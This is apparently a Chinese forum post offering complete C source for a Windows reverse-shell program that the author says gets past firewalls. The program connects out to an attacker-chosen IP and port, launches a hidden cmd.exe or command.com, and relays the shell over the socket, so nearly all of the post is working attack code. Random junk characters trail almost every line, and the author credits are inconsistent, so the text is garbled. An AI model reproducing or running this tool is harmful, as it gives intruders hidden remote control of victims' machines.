这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 `$>cQwB,D
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/* ============================== sx][X itR+
Rebound port in Windows NT ZIJTGa}B
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By wind,2006/7 @,SN8K0T
===============================*/ x=3+@'
#include }J] P`v
#include XaYgl&x'!x
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#pragma comment(lib,"wsock32.lib") 'p4b8:X
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void OutputShell(); N4wMAT:h
SOCKET sClient; &$. x1$%
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; lPn&,\9@~
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void main(int argc,char **argv) ^jg{MTa
{ eo'C)j# U
WSADATA stWsaData; b*o,re)Dj
int nRet; jAOD&@z1
SOCKADDR_IN stSaiClient,stSaiServer; 1~9AQ[]w8
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if(argc != 3) mG+hLRTXP
{ l&m'?.gf
printf("Useage:\n\rRebound DestIP DestPort\n"); "dBCS
return; WyJXT.
} ppPzI,
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WSAStartup(MAKEWORD(2,2),&stWsaData); {#%;Hq P
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x^JjoI2vf
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stSaiClient.sin_family = AF_INET; 2s8(r8 AI
stSaiClient.sin_port = htons(0); }S>:!9f
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); z,/y2H2
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) gb@ |\n
{ bHH=MLZR:
printf("Bind Socket Failed!\n"); .@;,'Xw1~
return; >jBnNA@
} .X(ocs$}
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stSaiServer.sin_family = AF_INET; pd
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); &<%U7?{~
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); w\3'wD!
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Id'@!U:NA
{ &)|3OJ'o
printf("Connect Error!"); [8C6%n{W
return; g@7j<UY
} |A@Gch fd
OutputShell(); =v]eQIp
} 3a#j&]
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void OutputShell() b3!,r\9V
{ 9 ulr6
char szBuff[1024]; fO{E65uA
SECURITY_ATTRIBUTES stSecurityAttributes; B^G{k3]t
OSVERSIONINFO stOsversionInfo; yy-\$<j
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +qEvz<kch
STARTUPINFO stStartupInfo; #]5|Qhrr+
char *szShell; QZ54Osdl
PROCESS_INFORMATION stProcessInformation; yi/jZX
unsigned long lBytesRead; i iZK^/P$
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^#L?HIM
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?OPAf4h
stSecurityAttributes.lpSecurityDescriptor = 0; }qOC*k:
stSecurityAttributes.bInheritHandle = TRUE; .o5r;KD
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;.r >
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); #Rdq^TGMi;
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); /< CjBW:
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q>q@ztt
stStartupInfo.wShowWindow = SW_HIDE; '3@WF2a
stStartupInfo.hStdInput = hReadPipe; 6'6@VB
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; /Iu._2
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GetVersionEx(&stOsversionInfo); L%.GKANM
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switch(stOsversionInfo.dwPlatformId) y]`@%V2P
{ &xqr&(o
case 1: 8_tMiIE-pS
szShell = "command.com"; s/K}]F
break; ~4iIG}Y<
default: Th%1eLQ
szShell = "cmd.exe"; Tl3{)(ezx
break; b_ |
} /-39od0
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ^eEj
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send(sClient,szMsg,77,0); G
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while(1) K5)G+Id*
{ Zh.fv-Ecp
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); n]@+<TA<uA
if(lBytesRead) ?fEX&t,'
{ k852M^JP
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); soZw""|v
send(sClient,szBuff,lBytesRead,0);
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} s%z'1KPS
else bkl'0
p
{ )8yee~+TN
lBytesRead=recv(sClient,szBuff,1024,0); OR^Wd
if(lBytesRead<=0) break; -j[n^y'v
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 5@Q4[+5&_
} *[7,@S/<F
} v[6 BESu
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return; <5(8LMF
}